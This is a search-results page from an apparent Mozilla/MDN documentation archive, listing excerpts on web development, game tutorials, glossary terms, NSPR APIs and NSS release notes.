XForms Output Element - Archive of obsolete content
to see how they work you can try an xhtml example or a xul example.
... type restrictions the output element can be bound to a node containing simple content of any data type.
... representations the xforms output element can be represented by the following widgets for the specified data types (or types derived from these data types): text - default representation for instance data of most types, especially static text (xhtml/xul).
...And 3 more matches
Styling Abbreviations and Acronyms - Archive of obsolete content
summary: the html elements abbr and acronym are useful accessibility aids, but their styling can come as a surprise to authors.
... see how you can take control of their presentation without sacrificing the benefits these elements provide.
... cognitive disabilities, or people who are deaf." the problem authors have discovered that any abbr or acronym that has a title attribute is rendered with a dotted underline, per the following rule in resource://gre-resources/html.css abbr[title], acronym[title] { text-decoration: dotted underline; } the solution if authors wish to remove the underline from abbr and acronym elements, this can be done with the following rule: abbr[title], acronym[title] { text-decoration: none; } it may be better to lessen the visual weight of the border without actually removing it.
...And 3 more matches
Web Standards - Archive of obsolete content
web standards are carefully designed to deliver the greatest benefits to the greatest number of web users while ensuring the long-term viability of any document published on the web.
...[1] documentation migrate apps from internet explorer to mozilla ever have trouble getting your internet explorer-specific web applications to work with mozilla?
... this article covers common issues associated with migrating applications to the open source mozilla-based browser.
...And 3 more matches
Tools for game development - Game development
on this page you can find links to our game development tools articles, which eventually aims to cover frameworks, compilers, and debugging tools.
... asm.js asm.js is a very limited subset of the javascript language, which can be greatly optimized and run in an ahead-of-time (aot) compiling engine for much faster performance than your typical javascript performance.
... emscripten an llvm to javascript compiler; with emscripten, you can compile c++ and other languages that can compile to llvm bytecode into high-performance javascript.
...And 3 more matches
Collision detection - Game development
you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson10.html.
...luckily enough we can use the physics engine to check collisions not only between single objects (like the ball and the paddle), but also between an object and the group.
...first, add a new line inside your update() function that checks for collision detection between ball and bricks, as shown below: function update() { game.physics.arcade.collide(ball, paddle); game.physics.arcade.collide(ball, bricks, ballhitbrick); paddle.x = game.input.x || game.world.width*0.5; } the ball's position is calculated against the positions of all the bricks in the group.
...And 3 more matches
Game over - Game development
you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson08.html.
... to make the game more interesting we can introduce the ability to lose — if you don't hit the ball before it reaches the bottom edge of the screen it will be game over.
...add the code below inside the create() function; just after you define the ball's attributes is fine: game.physics.arcade.checkcollision.down = false; this will make the three walls (top, left and right) bounce the ball back, but the fourth (bottom) will disappear, letting the ball fall off the screen if the paddle misses it.
...And 3 more matches
2D breakout game using Phaser - Game development
every step has editable, live samples available to play with, so you can see what the intermediate stages should look like.
... lesson details all the lessons — and the different versions of the mdn breakout game we are building together — are available on github: initialize the framework scaling load the assets and print them on screen move the ball physics bounce off the walls player paddle and controls game over build the brickfield collision detection the score win the game extra lives animations and tweens buttons randomizing gameplay as a note on learning paths — starting with pure javascript is the best way to get a solid knowledge of web game development.
... after that, you can pick any framework you like and use it for your projects; we have chosen phaser as it is a good solid framework, with a good support and community available, and a good set of plugins.
...And 3 more matches
Asynchronous - MDN Web Docs Glossary: Definitions of Web-related terms
networking and communications asynchronous communication is a method of exchanging messages between two or more parties in which each party receives and processes messages whenever it's convenient or possible to do so, rather than doing so immediately upon receipt.
... for humans, e-mail is an asynchronous communication method; the sender sends an email and the recipient will read and reply to the message when it's convenient to do so, rather than doing so at once.
... and both sides can continue to send and receive messages whenever they wish, instead of having to schedule them around each other.
...And 3 more matches
Code splitting - MDN Web Docs Glossary: Definitions of Web-related terms
code splitting is the splitting of code into various bundles or components which can then be loaded on demand or in parallel.
... as an application grows in complexity or is simply maintained, css and javascripts files or bundles grow in byte size, especially as the number and size of included third-party libraries increases.
... to prevent the requirement of downloading ginormous files, scripts can be split into multiple smaller files.
...And 3 more matches
First-class Function - MDN Web Docs Glossary: Definitions of Web-related terms
for example, in such a language, a function can be passed as an argument to other functions, can be returned by another function and can be assigned as a value to a variable.
... even if your function was named, you can use the variable name to invoke it.
... the function that we pass as an argument to another function, is called a callback function.
...And 3 more matches
Global object - MDN Web Docs Glossary: Definitions of Web-related terms
(in node.js this is not the case.) the global object's interface depends on the execution context in which the script is running.
... for example: in a web browser, any code which the script doesn't specifically start up as a background task has a window as its global object.
... scripts running under node.js have an object called global as their global object.
...And 3 more matches
Grid Lines - MDN Web Docs Glossary: Definitions of Web-related terms
, 100px); } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: 100px 100px; } lines can be addressed using their line number.
... lines are also created in the implicit grid when implicit tracks are created to hold content positioned outside of the explicit grid, however these lines cannot be addressed by a number.
... placing items onto the grid by line number having created a grid, you can place items onto the grid by line number.
...And 3 more matches
Gutters - MDN Web Docs Glossary: Definitions of Web-related terms
these can be created in css grid layout using the grid-column-gap, grid-row-gap, or grid-gap properties.
... padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3,1.2fr); grid-auto-rows: 45%; grid-column-gap: 20px; grid-row-gap: 20px; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> in terms of grid sizing, gaps act as if they were a regular grid track however nothing can be placed into the gap.
... the gap acts as if the grid line at that location has gained extra size, so any grid item placed after that line begins at the end of the gap.
...And 3 more matches
Idempotent - MDN Web Docs Glossary: Definitions of Web-related terms
an http method is idempotent if an identical request can be made once or several times in a row with the same effect while leaving the server in the same state.
... to be idempotent, only the actual back-end state of the server is considered, the status code returned by each request may differ: the first call of a delete will likely return a 200, while successive ones will likely return a 404.
... another implication of delete being idempotent is that developers should not implement restful apis with a delete last entry functionality using the delete method.
...And 3 more matches
JavaScript - MDN Web Docs Glossary: Definitions of Web-related terms
and other countries, the two programming languages are significantly different in their syntax, semantics, and use cases.
... javascript is primarily used in the browser, enabling developers to manipulate webpage content through the dom, manipulate data with ajax and indexeddb, draw graphics with canvas, interact with the device running the browser through various apis, and more.
... origins and history conceived as a server-side language by brendan eich (then employed by the netscape corporation), javascript soon came to netscape navigator 2.0 in september 1995.
...And 3 more matches
Packet - MDN Web Docs Glossary: Definitions of Web-related terms
it is a field that is decreases by one each time a packet goes through, once it reaches 0 it has failed and the packet is discarded.
... over time the number packets can cause traversing within closed circuits, the number of pa ckets circulating would build up and then ultimately lead to the networking in failing.
...forward error correction is when the receiver uses the error-correcting code which automatically corrects the errors at the transmitter, the calculation is performed before the packet is sent.
...And 3 more matches
Random Number Generator - MDN Web Docs Glossary: Definitions of Web-related terms
prngs can be used for a variety of applications, such as games.
... a cryptographically secure prng is a prng with certain extra properties making it suitable for use in cryptography.
... these include: that it's computationally unfeasible for an attacker (without knowledge of the seed) to predict its output that if an attacker can work out its current state, this should not enable the attacker to work out previously emitted numbers.
...And 3 more matches
Screen reader - MDN Web Docs Glossary: Definitions of Web-related terms
screen readers are software applications that attempt to convey what is seen on a screen display in a non-visual way, usually as text to speech, but also into braille or sound icons.
...there are some browser extension screen readers, but most screen readers operate system-wide for all user applications, not just the browser.
... in terms of web accessibility, most user agents provide an accessibility object model and screen readers interact with dedicated accessibility apis, using various operating system features and employing hooking techniques.
...And 3 more matches
UDP (User Datagram Protocol) - MDN Web Docs Glossary: Definitions of Web-related terms
udp uses a simple connectionless communication model with a minimum of protocol mechanism.
...it has no handshaking dialogues, and thus exposes the user's program to any unreliability of the underlying network; there is no guarantee of delivery, ordering, or duplicate protection.
... if error-correction facilities are needed at the network interface level, an application may use the transmission control protocol (tcp) or stream control transmission protocol (sctp) which are designed for this purpose.
...And 3 more matches
CSS first steps - Learn web development
css (cascading style sheets) is used to style and lay out web pages — for example, to alter the font, color, size, and spacing of your content, split it into multiple columns, or add animations and other decorative features.
... this module provides a gentle beginning to your path towards css mastery with the basics of how it works, what the syntax looks like, and how you can start using it to add styling to html.
... css (cascading style sheets) allows you to create great-looking web pages, but how does it work under the hood?
...And 3 more matches
Typesetting a community school homepage - Learn web development
make a copy of them on your local computer.
...because this is a college, the fonts should be chosen to give the page a fairly serious, formal, trustworthy feel — a serif site-wide font for the general text body, coupled with sans-serif or slab serif for the headings might be nice.
... you don't necessarily have to make the nav menu look like buttons, but it needs to be a bit taller so that it doesn't look silly on the side of the page; also remember that you need to make this one a vertical nav menu.
...And 3 more matches
What HTML features promote accessibility? - Learn web development
the following content describes specific features of html that can be used to make a web page more accessible to people with different disabilities.
... tabbing users who do not or cannot use pointing devices can tab through links and, as such, links should be in a logical tabbing order.
...if the html is linear, as it should be, a logical tabbing order should automatically fall into place.
...And 3 more matches
Test your skills: Styling basics - Learn web development
note: you can try out solutions by editing the starting point file locally, however it may be helpful to put your code in an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... assessment or further help you can practice these examples in the interactive editors above.
...you can write the code yourself, or use the starting point files linked to in the above sections.
...And 3 more matches
Front-end web developer - Learn web development
you can work through sections in order, but each one is also self-contained.
... for example, if you already know html, you can skip ahead to the css section.
...all you need is a computer that can run modern web browsers, an internet connection, and a willingness to learn.
...And 3 more matches
Installing basic software - Learn web development
an automation system, like webpack, grunt, or gulp to automatically perform repetitive tasks, such as minifying code and running tests.
... that looks like a scary list, but fortunately, you can get started in web development without knowing anything about most of these.
... for web development, you can probably do better than notepad or textedit.
...And 3 more matches
HTML Cheatsheet - Learn web development
while using html it can be very handy to have an easy way to remember how to use html tags properly and how to apply them.
...however, in many cases we just need some quick hints as we go.
...they take up only as much width as they need in a page and fit together horizontally like words in a sentence or books shelved side-by-side in a row.all inline elements can be implemented within the <body></body> tags.
...And 3 more matches
Add a hitmap on top of an image - Learn web development
an image map, on the other hand, contains several active regions (called "hotspots") that each link to a different resource.
... formerly, image maps were a popular navigation device, but it’s important to thoroughly consider their performance and accessibility ramifications.
... the image must clearly indicate where hotspots begin and end.
...And 3 more matches
Use HTML to solve common problems - Learn web development
LearnHTMLHowto
basic structure the most basic application of html is document structure.
... how to create a basic html document how to divide a webpage into logical sections how to set up a proper structure of headings and paragraphs basic text-level semantics html specializes in providing semantic information for a document, so html answers many questions you might have about how to get your message across best in your document.
... how to create a list of items with html how to stress or emphasize content how to indicate that text is important how to display computer code with html how to annotate images and graphics how to mark abbreviations and make them understandable how to add quotations and citations to web pages how to define terms with html hyperlinks one of the main reasons for html is making navigation easy with hyperlinks, which can be used in many different ways: how to create a hyperlink how to create a table of contents with html images & multimedia how to add images to a webpage how to add video content to a webpage scripting & styling html only sets up document structure.
...And 3 more matches
Marking up a letter - Learn web development
the letter is a response from a research fellow to a prospective phd student concerning their application to the university.
...the css you'll add later will cause these to be right aligned, as it should be in the case in a classic letter layout.
... the six sub/superscripts should be marked up appropriately — in the chemical formulae, and the numbers 103 and 104 (they should be 10 to the power of 3 and 4, respectively).
...And 3 more matches
Test your skills: HTML text basics - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... assessment or further help you can practice these examples in the interactive editors above.
...you can write the code yourself, or use the starting point files linked to in the above sections.
...And 3 more matches
Introduction to HTML - Learn web development
at its heart, html is a fairly simple language made up of elements, which can be applied to pieces of text to give them different meaning in a document (is it a paragraph?
...is it part of a table?), structure a document into logical sections (does it have a header?
... note: if you are working on a computer/tablet/other devices that doesn't let you create your own files, you can try out (most of) the code examples in an online coding program such as jsbin or glitch.
...And 3 more matches
Multimedia and Embedding - Learn web development
this module explores how to use html to include multimedia in your web pages, including the different ways that images can be included, and how to embed video, audio, and even entire webpages.
... images in html there are other types of multimedia to consider, but it is logical to start with the humble <img> element used to embed a simple image in a webpage.
... in this article we'll look at how to use it in more depth, including basics, annotating it with captions using <figure>, and how it relates to css background images.
...And 3 more matches
Asynchronous JavaScript - Learn web development
in this module we take a look at asynchronous javascript, why it is important, and how it can be used to effectively handle potential blocking operations such as fetching resources from a server.
...if you are, then you can probably skip to the introducing asynchronous javascript module.
... note: if you are working on a computer/tablet/other device where you don't have the ability to create your own files, you can try out (most of) the code examples in an online coding program such as jsbin or glitch.
...And 3 more matches
Introducing JavaScript objects - Learn web development
you can even create your own objects to encapsulate related functions and variables into efficient packages and act as handy data containers.
... object prototypes prototypes are the mechanism by which javascript objects inherit features from one another, and they work differently to inheritance mechanisms in classical object-oriented programming languages.
... in this article, we explore that difference, explain how prototype chains work, and look at how the prototype property can be used to add methods to existing constructors.
...And 3 more matches
Cross browser testing - Learn web development
guides introduction to cross browser testing this article starts the module off by providing an overview of the topic of cross browser testing, answering questions such as "what is cross browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?" strategies for carrying out testing next, we drill down into carrying out testing, looking at identifying a target audience (e.g.
... what browsers, devices, and other segments should you make sure are tested), lo-fi testing strategies (get yourself a range of devices and some virtual machines and do ad-hoc tests when needed), higher tech strategies (automation, using dedicated testing apps), and testing with user groups.
... handling common html and css problems with the scene set, we'll now look specifically at the common cross-browser problems you will come across in html and css code, and what tools can be used to prevent problems from happening, or fix problems that occur.
...And 3 more matches
Tools and testing - Learn web development
working out what tools you should be using can be a difficult process, so we have written this set of articles to inform you of what types of tool are available, what they can do for you, and how to make use of the current industry favourites.
... note: we have referenced a number of tools in this topic, not because we endorse them or think they are the best, but because we know they work and have good industry support.
... in most cases there are other tools available, old ones will go out of fashion, and new ones will no doubt appear.
...And 3 more matches
Add-ons
they are written using standard web technologies - javascript, html, and css - plus some dedicated javascript apis.
...in most cases, it will run in chrome, edge, and opera with few if any changes.
...you can see the apis currently supported in firefox and other browsers.
...And 3 more matches
Creating a Login Manager storage module
extensions can replace the built-in password storage with their own implementation.
... this can be useful if you want to integrate a gecko application's password management with an existing password management system, or use your own password storage format or database.
... register that interface in a specific category.
...And 3 more matches
ESLint
in order to help people write standard-compliant code from the start and avoid wasting time during code reviews, a set of eslint configuration files have been added to the code base so that javascript can be analyzed automatically.
... this automatic linting can happen either while coding, in a code editor, or when using the command line.
... setting up eslint ./mach eslint --setup running eslint eslint can be run via: ./mach lint -l eslint you can limit running it to a specific directory with: ./mach lint -l eslint browser/components or work directory changes: ./mach lint -l eslint -w or outgoing commits only: ./mach lint -l eslint -o see ./mach eslint --help for more options when running eslint.
...And 3 more matches
Developer guide
build instructions how to build firefox, thunderbird, seamonkey, or other mozilla applications.
... how can you change that?
... obsolete build caveats and tips a place to put build tips which are no longer relevant to building the latest version of the code from main but are relevant when building old codebases.
...And 3 more matches
HTMLIFrameElement.getMuted()
the getmuted() method of the htmliframeelement indicates whether the browser <iframe> is currently muted.
... syntax there are two versions of this method, a callback version: var request = instanceofhtmliframeelement.getmuted(); and a promise version: instanceofhtmliframeelement.getmuted().then(function(muted) { ...
... }); returns callback version: a domrequest that represents the get muted request.
...And 3 more matches
mozbrowserloadend
although implementations may change in the future and it is not supported widely across browsers, it is suitable for use in code dedicated to firefox os apps.
... this can be used when the embedder wants to stop spinning a loading indicator, or update the ui in some other way to indicate loading is complete.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
...And 3 more matches
Getting from Content to Layout
changes to a document originate in the content tree (from dom modification by scripting, insertion of elements from the parser, etc.) and are propogated to the layout tree through magic that primarily resides in //github.com/realityripple/uxp/blob/master/layout/base/nscssframeconstructor.cpp the frame constructor implements nsimutationobserver which allows it to "watch" the content tree.
... the frame constructor takes these notifications and does the following: dispatches "restyle events" which trigger the reprocessing of relevant css selectors and any restyling that needs to occur.
... the restyles accumulated in the restyletracker are dispensed with from various method on the presshell that involve reflow and flushing notifications.
...And 3 more matches
Hacking with Bonsai
also, with as many as 100 engineers, it was very difficult to determine what happened in the tree that caused the instability.
...the process everyone who checks into the tree, joins a group called "the hook" at 8:00 am pst every weekday morning, the source tree is closed.
...at 10:00 am, everyone who is on the hook is available in case the build breaks eventually, the tree builds, and it is re-opened.
...And 3 more matches
OS.File.Error
} catch (ex) { if (ex instanceof os.file.error && ex.becausenosuchfile) { // the file does not exist } } global object os.file.error methods overview the following functions are utility functions that may be used to construct instances of os.file.error, setting the platform-specific error number.
...instances of os.file.error in case of any i/o error, the functions of os.file raise instances of os.file.error.
... these exceptions hold both a human-readable error message detailing the i/o error and attributes to help determining the cause of the error.
...And 3 more matches
MathML Torture Test
mathml torture test html content <p> render mathematics with: <select name="mathfont" id="mathfont"> <option value="default" selected="selected">default fonts</option> <option value="asana">asana</option> <option value="cambria">cambria</option> <option value="dejavu">dejavu</option> <option value="latinmodern">latin modern</option> <option value="libertinus">libertinus</option> <option value="lucidabright">lucida bright</option> <option value="minion">minion</option> <option value="stixtwo">stix two</option> <option value="texgyrebonum">tex gyre bonum</option> <option value="texgyrepagella">tex gyre pagella</option> <option value="texgyreschola">tex gyre schola</option> <option value="texgyretermes">tex gyre termes</option> ...
... <option value="xits">xits</option> </select> <br/> </p> <table> <tr> <td></td> <th scope="col">as rendered by tex</th> <th scope="col">as rendered by your browser</th></tr> <tr> <td>1</td> <td><img src="https://udn.realityripple.com/samples/45/d5a0dbbca3.png" width="38" height="22" alt="texbook, 16.2-16.3" /></td> <td> <math display="block"> <mrow> <msup> <mi>x</mi> <mn>2</mn> </msup> <msup> <mi>y</mi> <mn>2</mn> </msup> </mrow> </math> </td></tr> <tr> <td>2</td> <td><img src="https://udn.realityripple.com/samples/b8/da4a50ea34.png" width="30" height="17" alt="texbook, 16.2-16.3" /></td> <td> <math display="...
... <mtr> <mtd columnalign="center"> <mn>0</mn> </mtd> <mtd columnalign="left"> <mtext>elsewhere.</mtext> </mtd> </mtr> </mtable> </mrow> </mrow> </math> </td></tr> <tr> <td>19</td> <td><img src="https://udn.realityripple.com/samples/bf/4ccasc768c.png" width="101" height="44" alt="texbook, 18.23-18.24" /></td> <td> <math display="block"> <mover> <mrow> <mi>x</mi> <mo>+</mo> <mo>...</mo> <mo>+</mo> <mi>x</mi> </mrow> <mover> <mo>&overbrace;</mo> <mrow><mi>k</mi> <mspace width="thinmathspace"/> <mtext>time...
...And 3 more matches
MathML In Action
in that case you are probably missing some crucial mathml fonts.
... next to it is this tiny formula, det | a c b d | = a d - b c , which can also be typeset in displaystyle as det | a b c d | = a d - b c .
... mathematical typesetting is picky.
...And 3 more matches
Preferences system
reference information about them is available below: preferences system documentation: introduction: getting started | examples | troubleshooting reference: prefwindow | prefpane | preferences | preference | xul attributes use code for a typical preferences window may look like this: <prefwindow id="apppreferences" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <prefpane id="pane1" label="&pane1.title;"> <preferences> <preference id="pref1" name="pref.name" type="bool"/> </preferences> ..
... ui elements that refer to the preferences above, e.g.: <checkbox id="check1" preference="pref1" label="&check1.label;" accesskey="&check1.accesskey;"/> </prefpane> <prefpane id="pane2" label="&pane2.title;" src="chrome://uri/to/pane.xul"/> </prefwindow> pane content can be specified inline or an external chrome uri supplied for pane content to be loaded in via a dynamic overlay.
... you should be careful to read the higs for the platforms you are targeting and use the xul preprocessor if necessary to set different window titles as appropriate.
...And 3 more matches
Leak And Bloat Tests
startup main mail window open address book and message composition windows close address book and message composition windows quit the application future improvements will be discussed on the discussion page of the mozilla wiki.
... results printed on tinderbox output, these consist of: mail rlk reference count leaks mail lk total bytes malloc'ed and not free'd mail mh maximum heap size mail a allocations - number of calls to malloc and friends.
...code locations the files specific to leak and bloat testing are be stored in: http://mxr.mozilla.org/comm-central/source/mailnews/test/performance these files consist of: overlays (used to provide the hooks for the javascript): bloat/bloataddroverlay.xul bloat/bloatcomposeoverlay.xul bloat/bloatmainoverlay.xul javascript files (used to drive the tests): bloat/bloataddroverlay.js bloat/bloatcomposeov...
...And 3 more matches
Process Forking in NSPR
the threads provided in netscape portable runtime (nspr) are implemented using different mechanisms on the various platforms.
... on some platforms, nspr threads directly map one-to-one to the threads provided by the platform vendor, on other platforms nspr threads are basically user-level threads within a single process (with no kernel threads) and on still others nspr threads are user-level threads implemented on top of one or more kernel threads within single address space.
... nspr does not override the fork function and so, when fork is called from the nspr thread the results are different on the various platforms.
...And 3 more matches
Dynamic Library Linking
it also provides a method by which to condition symbols of statically linked code so that to other clients it appears as though they are dynamically loaded.
...rary linking types these data types are defined for dynamic library linking: prlibrary prstaticlinktable library linking functions the library linking functions are: pr_setlibrarypath pr_getlibrarypath pr_getlibraryname pr_freelibraryname pr_loadlibrary pr_unloadlibrary pr_findsymbol pr_findsymbolandlibrary finding symbols defined in the main executable program pr_loadlibrary cannot open a handle that references the main executable program.
...you can then call pr_findsymbol on lib to look up other symbols defined in the main program.
...And 3 more matches
NSPR Error Handling
pr_pending_interrupt_error the operation terminated because another thread has interrupted it with pr_interrupt.
... pr_tpd_range_error attempt to access a thread-private data index that is out of range of any index that has been allocated to the process.
... pr_no_access_rights_error calling thread does not have privilege to perform the operation requested.
...And 3 more matches
PRThreadState
the time of release of the resources assigned to the thread cannot be determined in advance.
... threads created with a pr_unjoinable_thread state cannot be used as arguments to pr_jointhread.
... pr_joinable_thread joinable thread references remain valid after they have returned from their root function until pr_jointhread is called.
...And 3 more matches
PR_Accept
syntax #include <prio.h> prfiledesc* pr_accept( prfiledesc *fd, prnetaddr *addr, printervaltime timeout); parameters the function has the following parameters: fd a pointer to a prfiledesc object representing the rendezvous socket on which the caller is willing to accept new connections.
...further information can be obtained by calling pr_geterror.
... description the socket fd is a rendezvous socket that has been bound to an address with pr_bind and is listening for connections after a call to pr_listen.
...And 3 more matches
PR_AcceptRead
syntax #include <prio.h> print32 pr_acceptread( prfiledesc *listensock, prfiledesc **acceptedsock, prnetaddr **peeraddr, void *buf, print32 amount, printervaltime timeout); parameters the function has the following parameters: listensock a pointer to a prfiledesc object representing a socket descriptor that has been called with the pr_listen function, also known as the rendezvous socket.
...this parameter is valid only if the function return does not indicate failure.
...this parameter is valid only if the function return does not indicate failure.
...And 3 more matches
PR_CEnterMonitor
enters the lock associated with a cached monitor.
... if unsuccessful (the monitor cache needs to be expanded and the system is out of memory), the function returns null.
... description pr_centermonitor uses the value specified in the address parameter to find a monitor in the monitor cache, then enters the lock associated with the monitor.
...And 3 more matches
PR_ExplodeTime
converts an absolute time to a clock/calendar time.
... params a time parameter callback function.
... exploded a pointer to a location where the converted time can be stored.
...And 3 more matches
PR_GetUniqueIdentity
asks the runtime to allocate a unique identity for a layer identified by the layer's name.
... if the function cannot allocate enough dynamic memory, it fails and returns the value pr_invalid_io_layer with the error code pr_out_of_memory_error.
...pr_getuniqueidentity allocates a unique layer identity and associates it with the string.
...And 3 more matches
PR ImportTCPSocket
description a native tcp socket osfd can be imported into nspr with pr_importtcpsocket.
... the caller gives up control of the native tcp socket osfd and should use the prfiledesc* returned by pr_importtcpsocket instead.
...the caller needs to understand what nspr will do to the native file descriptor and make sure that nspr can use the native file descriptor successfully.
...And 3 more matches
PR_Interrupt
when the interrupted thread reaches the prearranged point, it can communicate with its peer to discover the real reason behind the change in plans.
... the interrupt request remains in the thread's state until it is delivered exactly once or explicitly canceled.
... bugs pr_interrupt has the following limitations and known bugs: there can be a delay for a thread to be interrupted from a blocking i/o function.
...And 3 more matches
PR_NewTCPSocket
typically, the server binds its socket to a well-known port with pr_bind, calls pr_listen to start listening for connection setup requests, and calls pr_accept to accept a connection.
...to receive data, one can call pr_read or pr_recv.
... to send data, one can call pr_write, pr_writev, pr_send, or pr_transmitfile.
...And 3 more matches
PR_NewThreadPrivateIndex
this function can be specified as null.
... description if pr_newthreadprivateindex is successful, every thread in the same process is capable of associating private data with the new index.
... when you allocate the index, you may also register a destructor function of type prthreadprivatedtor.
...And 3 more matches
PR_OpenTCPSocket
can be pr_af_inet (ipv4), pr_af_inet6 (ipv6), or pr_af_local (unix domain, supported on posix systems only).
...typically, the server binds its socket to a well-known port with pr_bind, calls pr_listen to start listening for connection setup requests, and calls pr_accept to accept a connection.
...to receive data, one can call pr_read or pr_recv.
...And 3 more matches
PR_Seek64
a negative value causes seeking in the reverse direction.
...the value for the whence parameter can be one of the following: pr_seek_set.
...sets the file pointer to its current location plus the value of the offset parameter.
...And 3 more matches
PR_Wait
waits for an application-defined state of the monitored data to exist.
...the monitor object referenced must be one for which the calling thread currently holds the lock.
... ticks the amount of time (in printervaltime units) that the thread is willing to wait for an explicit notification before being rescheduled.
...And 3 more matches
CERT_FindCertByDERCert
find a certificate in the database that matches a der-encoded certificate.
... syntax #include <cert.h> certcertificate *cert_findcertbydercert( certcertdbhandle *handle, secitem *dercert ); parameters handle in pointer to a certcertdbhandle representing the certificate database to look in dercert in pointer to an secitem whose type must be sidercertbuffer and whose data contains a der-encoded certificate description this function looks in the ?nsscryptocontext?
...to find the certificate that matches the der-encoded certificate.
...And 3 more matches
NSS_3.11.10_release_notes.html
bug 291384: certutil -k behavior doesn't match usage bug 374247: modutil -disable command not disabling modules' slots bug 384459: certification path validation fails when authority key identifier extension contains key identifier bug 385946: can't import certificate into cert database in fips mode (certutil).
... bug 387892: add entrust root ca certificate(s) to nss bug 396999: pk11_authenticate bug 397478: lock from ssl_initsymwrapkeyslock not freed on selfserv shutdown.
... bug 397486: session cache locks not freed on strsclnt shutdown.
...And 3 more matches
NSS 3.14.2 release notes
the documentation is in the docbook format and can be rendered as html and unix-style manual pages using an optional build target.
... bug 816853 - when using libpkix for certificate validation, applications may now supply additional application-defined trust anchors to be used in addition to those from loaded security tokens, rather than as an alternative to.
... bug 373108 - fixed a bug where, under certain circumstances, when applications supplied invalid/out-of-bounds parameters for aes encryption, a double free may occur.
...And 3 more matches
NSS 3.15.1 release notes
the hash function used in the signature for tls 1.2 client authentication must be the hash function of the tls 1.2 prf, which is always sha-256 in nss 3.15.1.
... in sslt.h ssl_hmac_sha256 - a new value in the sslmacalgorithm enum type.
... bug 877798 - fix ssltap to print the certificate_status handshake message correctly.
...And 3 more matches
NSS 3.17.1 release notes
new in nss 3.17.1 this patch release adds new functionality and fixes a bug that caused nss to accept forged rsa signatures.
...applications that use or depend on these symbols can and will break in future nss releases.
... new functionality tls_fallback_scsv is a signaling cipher suite value that indicates a handshake is the result of tls version fallback.
...And 3 more matches
NSS 3.22 release notes
enforce an external policy on nss from a config file (bug 1009429) you can now add a config= line to pkcs11.txt (assuming you are using sql databases), which will force nss to restrict the application to certain cryptographic algorithms and protocols.
... a complete list can be found in nss config options.
... in ssl.h ssl_peersignedcerttimestamps - get signed_certificate_timestamp tls extension data ssl_setsignedcerttimestamps - set signed_certificate_timestamp tls extension data new types in secoidt.h the following are added to secoidtag: sec_oid_aes_128_gcm sec_oid_aes_192_gcm sec_oid_aes_256_gcm sec_oid_idea_cbc sec_oid_rc2_40_cbc sec_oid_des_40_cbc sec_oid_rc4_40 sec_oid_rc4_56 sec_oid_nu...
...And 3 more matches
NSS 3.28.5 release notes
this is a patch release to update the list of root ca certificates.
... notable changes in nss 3.28.5 the following ca certificates were removed: o = japanese government, ou = applicationca sha-256 fingerprint: 2d:47:43:7d:e1:79:51:21:5a:12:f3:c5:8e:51:c7:29:a5:80:26:ef:1f:cc:0a:5f:b3:d9:dc:01:2f:60:0d:19 cn = wellssecure public root certificate authority sha-256 fingerprint: a7:12:72:ae:aa:a3:cf:e8:72:7f:7f:b3:9f:0f:b3:d1:e5:42:6e:90:60:b0:6e:e6:f1:3e:9a:3c:58:33:cd:43 cn=tÜrktrust elektronik sertifika hizmet sağlayıcısı h6 sha-256 fingerprint: 8d:e7:86:55:e1:be:7f:78:47:80:0b:93:f6:94:d2:1d:36:8c:c0:6e:03:3e:7f:ab:04:bb:5e:b9:9d:a6:b7:00 cn=microsec e-szigno root sha-256 fingerprint: 32:7a:3d:...
...76:1a:ba:de:a0:34:eb:99:84:06:27:5c:b1:a4:77:6e:fd:ae:2f:df:6d:01:68:ea:1c:4f:55:67:d0 the following ca certificates were added: cn = d-trust root ca 3 2013 sha-256 fingerprint: a1:a8:6d:04:12:1e:b8:7f:02:7c:66:f5:33:03:c2:8e:57:39:f9:43:fc:84:b3:8a:d6:af:00:90:35:dd:94:57 trust flags: email cn = tubitak kamu sm ssl kok sertifikasi - surum 1 sha-256 fingerprint: 46:ed:c3:68:90:46:d5:3a:45:3f:b3:10:4a:b8:0d:ca:ec:65:8b:26:60:ea:16:29:dd:7e:86:79:90:64:87:16 trust flags: websites technically constrained to: gov.tr, k12.tr, pol.tr, mil.tr, tsk.tr, kep.tr, bel.tr, edu.tr, org.tr the version number of the updated root ca list has been set to 2.14.
...And 3 more matches
NSS 3.44 release notes
the nss team would like to recognize first-time contributors: kevin jacobs, david carlier, alexander scheel, and edouard oger.
... new in nss 3.44 new functionality new functions in lib/certdb/cert.h cert_getcertificateder - access the der-encoded form of a certcertificate.
... bugs fixed in nss 3.44 1501542 - implement checkarmsupport for android 1531244 - use __builtin_bswap64 in crypto_primitives.h 1533216 - cert_decodecertpackage() crash with netscape certificate sequences 1533616 - sdb_getattributevaluenolock should make at most one sql query, rather than one for each attribute 1531236 - provide accessor for certcertificate.dercert 1536734 - lib/freebl/crypto_primitives.c assumes a big endian machine 1532384 - in nss test certificates, use @example.com (not @bogus.com) 1538479 - post-handshake messages after async server authentication break when using record layer separation 1521578 - x25519 support in pk...
...And 3 more matches
NSS 3.52 release notes
if an application is recompiled with nss 3.52+, this field must be initialized to a value corresponding to ulivlen.
... bug 1629661 - mpconfig calls in ssl initialize policy before nss is initialized.
... bug 1603801 - avoid dcache pollution from sdb_measureaccess().
...And 3 more matches
NSS Sample Code sample2
* note: iv is only needed if cipher blocking chaining (cbc) mode of encryption * is used * * the recommended approach is to store and transport wrapped (encrypted) * des keys (ivs can be in the clear).
